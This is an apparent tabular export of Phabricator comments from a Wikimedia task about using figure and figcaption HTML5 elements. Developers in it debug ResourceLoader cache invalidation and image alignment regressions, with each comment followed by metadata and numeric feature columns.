https://gerrit.wikimedia.org/r/719179",,,1631050878,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,427,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,5.121212121212121,0.8787878787878788,"Change 719179 had a related patch set uploaded (by Krinkle; author: Arlolra):
%%%[mediawiki/core@REL1_36] resourceloader: Call getStyleFiles from FileModule::getFileHashes%%%
GERRIT_URL"
1778354,Use figure and figcaption HTML5 elements when possible,"Change 714841 **merged** by jenkins-bot:
%%%[mediawiki/core@master] resourceloader: Call getStyleFiles from FileModule::getFileHashes%%%
https://gerrit.wikimedia.org/r/714841",,,1630606208,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,426,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,3.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.758620689655173,0.7586206896551724,"Change 714841 **merged** by jenkins-bot:
%%%[mediawiki/core@master] resourceloader: Call getStyleFiles from FileModule::getFileHashes%%%
GERRIT_URL"
1775126,Use figure and figcaption HTML5 elements when possible,(Replied via a [[ https://gerrit.wikimedia.org/r/c/mediawiki/core/+/714841/2#message-e2a11b3e6f36e5f4561323aa91f6854567905332 | comment on Gerrit ]]),,,1630083005,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,425,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,2.5714285714285716,0.8571428571428571,(Replied via a [[ URL | comment on Gerrit ]])
1775124,Use figure and figcaption HTML5 elements when possible,(Left a [[ https://gerrit.wikimedia.org/r/c/mediawiki/core/+/714841/2#message-e2a11b3e6f36e5f4561323aa91f6854567905332 | comment on Gerrit ]]),,,1630082994,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,425,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,2.3076923076923075,0.8461538461538461,(Left a [[ URL | comment on Gerrit ]])
1775123,Use figure and figcaption HTML5 elements when possible,"It seems that SkinModule is completely missing any tracking of the feature files for versioning the module build hash. Thus, it would seem that even with this patch, we still don't get cache updates when the list of toggled features is changed, or worse, when deploying a change to any of the LESS files.

I suggest we fix this by adding the relevant feature files to the list of files hashed. Either via getFileHashes/getStyleFiles without duplication, or via getFileDependencies with a small amount of duplication. Then the presence/absence of files for whatever reason is naturally taken care of as they would'be loaded and thus the array is naturally different. This is how FileModule works for other files.

The simplest approach is probably to make use of getStyleFiles in the parent class, so that the override here is naturally taken into account instead of having to keep logic in sync.",,,1630082949,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,425,,1.0,0.0,0.5,1.5,0.5,4.5,1.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,0.0,1.5,0.5,9.0,16.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,0.5,1.0,1.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,18.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,7.0,4.0,5.5,4.0,2.0,10.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,16.5,2.0,0.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,2.5,1.0,0.5,0.0,4.433123249299721,0.7160364145658263,"It seems that SkinModule is completely missing any tracking of the feature files for versioning the module build hash. Thus, it would seem that even with this patch, we still don't get cache updates when the list of toggled features is changed, or worse, when deploying a change to any of the LESS files.

I suggest we fix this by adding the relevant feature files to the list of files hashed. Either via getFileHashes/getStyleFiles without duplication, or via getFileDependencies with a small amount of duplication. Then the presence/absence of files for whatever reason is naturally taken care of as they would'be loaded and thus the array is naturally different. This is how FileModule works for other files.

The simplest approach is probably to make use of getStyleFiles in the parent class, so that the override here is naturally taken into account instead of having to keep logic in sync."
1773933,Use figure and figcaption HTML5 elements when possible,"Change 714841 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[mediawiki/core@master] Alter the skin definition summary based on wgParserEnableLegacyMediaDOM%%%
https://gerrit.wikimedia.org/r/714841",,,1629928616,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,9.0,4.885714285714286,0.8857142857142857,"Change 714841 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[mediawiki/core@master] Alter the skin definition summary based on wgParserEnableLegacyMediaDOM%%%
GERRIT_URL"
1773880,Use figure and figcaption HTML5 elements when possible,"OK, I think this is related to caching (yes, @Arlolra was right). Specifically, the styles for this are loaded in an override of ResourceLoaderSkinModule::getStyleFiles():

```
				if ( $feature === 'content-media' && !$this->getConfig()->get( 'ParserEnableLegacyMediaDOM' ) ) {
					$featureFilePaths['screen'][] = new ResourceLoaderFilePath(
						'resources/src/mediawiki.skinning/content.media.less',
						$defaultLocalBasePath,
						$defaultRemoteBasePath
					);
				}
```

However, this new file path is not seen by ResourceLoaderModule::getDefinitionSummary() because it checks $this->styles. When $wgParserEnableLegacyMediaDOM was flipped, there was no cache invalidation since according to RL, the module and all its files were the same. 

Quick fix: Add value of $wgParserEnableLegacyMediaDOM to ResourceLoaderSkinModule::getDefinitionSummary()

I only did a quick skim, but it wasn't clear to me how the other feature changes experienced cache invalidation. Maybe a more detailed audit is necessary.",,,1629924997,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,1.0,0.0,0.0,2.0,1.5,6.5,3.0,0.5,0.0,0.0,1.0,1.0,0.0,1.0,0.5,2.0,0.0,6.0,7.0,0.0,1.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.5,1.5,0.0,0.0,0.0,13.0,1.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,5.0,5.5,9.0,2.5,1.5,8.0,0.0,0.0,0.0,0.0,1.5,1.0,0.5,0.0,4.0,7.0,1.0,0.0,0.0,0.0,4.0,0.0,1.5,2.0,1.0,1.5,1.0,0.0,0.0,4.844471153846154,0.7754807692307693,"OK, I think this is related to caching (yes,SCREEN_NAME was right). Specifically, the styles for this are loaded in an override of ResourceLoaderSkinModule::getStyleFiles():

``CODE``

However, this new file path is not seen by ResourceLoaderModule::getDefinitionSummary() because it checks $this->styles. When $wgParserEnableLegacyMediaDOM was flipped, there was no cache invalidation since according to RL, the module and all its files were the same. 

Quick fix: Add value of $wgParserEnableLegacyMediaDOM to ResourceLoaderSkinModule::getDefinitionSummary()

I only did a quick skim, but it wasn't clear to me how the other feature changes experienced cache invalidation. Maybe a more detailed audit is necessary."
1773870,Use figure and figcaption HTML5 elements when possible,"Correcting my previous comment, VisualEditor will load the styles via JS if you have it enabled, so you actually need to turn that off, and then you'll find that the photo no longer jumps and stays on the (wrong) left side, even with JS enabled. So the real problem is that the skin is not loading these styles.",,,1629924192,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,10.0,13.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,9.0,1.0,1.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,6.0,3.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,13.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,3.791044776119403,0.746268656716418,"Correcting my previous comment, VisualEditor will load the styles via JS if you have it enabled, so you actually need to turn that off, and then you'll find that the photo no longer jumps and stays on the (wrong) left side, even with JS enabled. So the real problem is that the skin is not loading these styles."
1773869,Use figure and figcaption HTML5 elements when possible,"~~When I load https://www.mediawiki.org/wiki/MediaWiki with JS disabled the image says on the left, which confirms @thedj's theory that the correct CSS is being loaded by JS (addModules) rather than properly with addModuleStyles.~~ However, I couldn't reproduce this on https://test.wikipedia.org/wiki/Image?useskin=vector&useskinversion=1 - not sure what's different really.

As to why it's happening...I have no idea. My guess is that this is another regression from the skin refactoring, {T287410} which recently touched stuff like https://gerrit.wikimedia.org/r/plugins/gitiles/mediawiki/skins/Vector/+/a50b1db7931610a038197b74ba798fe307e9055e

Also for some reason Timeless has the ""content-media"" feature set to false, so it's just fully broken there AFAICT.",,,1629924129,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,1.0,0.0,1.0,1.0,1.0,2.5,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,3.0,1.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,7.5,2.0,1.5,0.5,0.0,0.0,1.5,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.5,0.0,0.0,11.5,1.0,1.5,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.5,3.0,10.5,3.0,0.0,8.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,4.0,10.0,4.0,0.0,2.0,0.0,4.0,0.0,2.5,0.0,0.0,1.0,0.0,0.0,0.0,4.114035087719298,0.868421052631579,"~~When I load URL with JS disabled the image says on the left, which confirmsSCREEN_NAME's theory that the correct CSS is being loaded by JS (addModules) rather than properly with addModuleStyles.~~ However, I couldn't reproduce this on URL - not sure what's different really.

As to why it's happening...I have no idea. My guess is that this is another regression from the skin refactoring, {T287410} which recently touched stuff like URL

Also for some reason Timeless has the ""content-media"" feature set to false, so it's just fully broken there AFAICT."
1773865,Use figure and figcaption HTML5 elements when possible,"When I load https://www.mediawiki.org/wiki/MediaWiki with JS disabled the image says on the left, which confirms @thedj's theory that the correct CSS is being loaded by JS (addModules) rather than properly with addModuleStyles. However, I couldn't reproduce this on https://test.wikipedia.org/wiki/Image?useskin=vector&useskinversion=1 - not sure what's different really.

As to why it's happening...I have no idea. My guess is that this is another regression from the skin refactoring, {T287410} which recently touched stuff like https://gerrit.wikimedia.org/r/plugins/gitiles/mediawiki/skins/Vector/+/a50b1db7931610a038197b74ba798fe307e9055e

Also for some reason Timeless has the ""content-media"" feature set to false, so it's just fully broken there AFAICT.",,,1629923807,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,1.0,0.0,1.0,1.0,1.0,2.5,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,3.0,1.0,8.5,10.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,7.5,2.0,1.5,0.5,0.0,0.0,1.5,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.5,0.0,0.0,11.5,1.0,1.5,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.5,3.0,11.0,3.5,0.0,8.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,10.0,4.5,0.0,2.0,0.0,4.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,4.042649727767695,0.8611615245009074,"When I load URL with JS disabled the image says on the left, which confirmsSCREEN_NAME's theory that the correct CSS is being loaded by JS (addModules) rather than properly with addModuleStyles. However, I couldn't reproduce this on URL - not sure what's different really.

As to why it's happening...I have no idea. My guess is that this is another regression from the skin refactoring, {T287410} which recently touched stuff like URL

Also for some reason Timeless has the ""content-media"" feature set to false, so it's just fully broken there AFAICT."
1773857,Use figure and figcaption HTML5 elements when possible,"I could be wildly off base about caching ... suffice it to say, I'm looking into it",,,1629923159,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,425,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,5.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,21.0,21.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.526315789473684,0.8947368421052632,"I could be wildly off base about caching ... suffice it to say, I'm looking into it"
1773843,Use figure and figcaption HTML5 elements when possible,I also see all the VE JS being loaded (with debug=true).. that's not normal.... ,,,1629922678,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,425,,5.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,I also see all the VE JS being loaded (with debug=true).. that's not normal.... 
1773836,Use figure and figcaption HTML5 elements when possible,"@TheDJ Thanks for reporting

It looks like the issue is with the cached stylesheet

https://www.mediawiki.org/w/load.php?lang=en&modules=ext.discussionTools.init.styles%7Cext.echo.styles.badge%7Cext.uls.pt%7Cext.visualEditor.desktopArticleTarget.noscript%7Cext.wikimediaBadges%7Cmediawiki.ui.button%2Cicon%7Coojs-ui.styles.icons-alerts%7Cskins.vector.icons%2Cstyles&only=styles&skin=vector

If I add `?debug=true` to it, I get results for ""mw:Image""

The jump is probably because until the cache is purged, the styles don't kick in until VE or whathaveyou's styles are fetched by JS.

Let me see about busting the cache",,,1629921914,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,425,,0.0,0.0,0.0,3.0,1.0,0.0,3.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,18.0,3.0,1.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,7.0,17.0,7.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,3.6901408450704225,0.7605633802816901,"SCREEN_NAME Thanks for reporting

It looks like the issue is with the cached stylesheet

URL

If I add CODE to it, I get results for ""mw:Image""

The jump is probably because until the cache is purged, the styles don't kick in until VE or whathaveyou's styles are fetched by JS.

Let me see about busting the cache"
1773784,Use figure and figcaption HTML5 elements when possible,"ok... now thumbframes on mediawiki.org are loading late.. seems like the parsoid CSS module is not added with addModuleStyles() to ensure its loaded before the page rendering starts ?

See the image on https://www.mediawiki.org/wiki/MediaWiki jump from center to right as the page loads.
Similar on https://www.mediawiki.org/wiki/Wikimedia_Hackathon_2021",,,1629919335,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,425,,0.0,0.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,4.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,9.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,19.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,4.188679245283019,0.8490566037735849,"ok... now thumbframes on mediawiki.org are loading late.. seems like the parsoid CSS module is not added with addModuleStyles() to ensure its loaded before the page rendering starts ?

See the image on URL jump from center to right as the page loads.
Similar on URL"
1773711,Use figure and figcaption HTML5 elements when possible,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://sal.toolforge.org/log/jyKHfnsB8Fs0LHO5Ao6j} [2021-08-25T18:16:22Z] <urbanecm@deploy1002> Synchronized wmf-config/InitialiseSettings.php: e6df0803e4eaca91bd725bcd376b260b97917de3: Disable legacy media dom on a few more wikis (T51097) (duration: 01m 05s)",,,1629915383,,PHID-USER-j4uyesgqhubl2dywl4xd,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,7.0,4.338983050847458,0.7966101694915254,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2021-08-25T18:16:22Z] <urbanecm@deploy1002> Synchronized wmf-config/InitialiseSettings.php: e6df0803e4eaca91bd725bcd376b260b97917de3: Disable legacy media dom on a few more wikis (T51097) (duration: 01m 05s)"
1773707,Use figure and figcaption HTML5 elements when possible,"Change 714635 **merged** by jenkins-bot:
%%%[operations/mediawiki-config@master] Disable legacy media dom on a few more wikis%%%
https://gerrit.wikimedia.org/r/714635",,,1629914814,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,3.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,3.7058823529411766,0.7941176470588235,"Change 714635 **merged** by jenkins-bot:
%%%[operations/mediawiki-config@master] Disable legacy media dom on a few more wikis%%%
GERRIT_URL"
1773059,Use figure and figcaption HTML5 elements when possible,"Change 714635 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[operations/mediawiki-config@master] Disable legacy media dom on a few more wikis%%%
https://gerrit.wikimedia.org/r/714635",,,1629844175,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,3.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,13.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,5.0,4.105263157894737,0.868421052631579,"Change 714635 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[operations/mediawiki-config@master] Disable legacy media dom on a few more wikis%%%
GERRIT_URL"
1762171,Use figure and figcaption HTML5 elements when possible,"@TheDJ thanks for filing those issue.  I've created or updated tasks where they can be discussed individually.
",,,1628004330,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,422,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.545454545454546,0.9545454545454546,"SCREEN_NAME thanks for filing those issue.  I've created or updated tasks where they can be discussed individually.
"
1762111,Use figure and figcaption HTML5 elements when possible,"And I see a CSS reflow for videos on test.wikipedia.org. This is specifically with the videojs player, which is active on test.wp.org, not sure about the old Kaltura player.
https://test.wikipedia.org/wiki/User:TheDJ/sandbox",,,1627999846,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,422,,0.0,0.0,0.0,0.0,3.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,20.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,17.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.257142857142857,0.8285714285714286,"And I see a CSS reflow for videos on test.wikipedia.org. This is specifically with the videojs player, which is active on test.wp.org, not sure about the old Kaltura player.
URL"
1762107,Use figure and figcaption HTML5 elements when possible,"Also the following features broken alignment:
- https://test.wikipedia.org/wiki/Rusa_test_page_2?useskin=timeless
- https://test.wikipedia.org/wiki/Rusa_test_page_2?useskin=modern

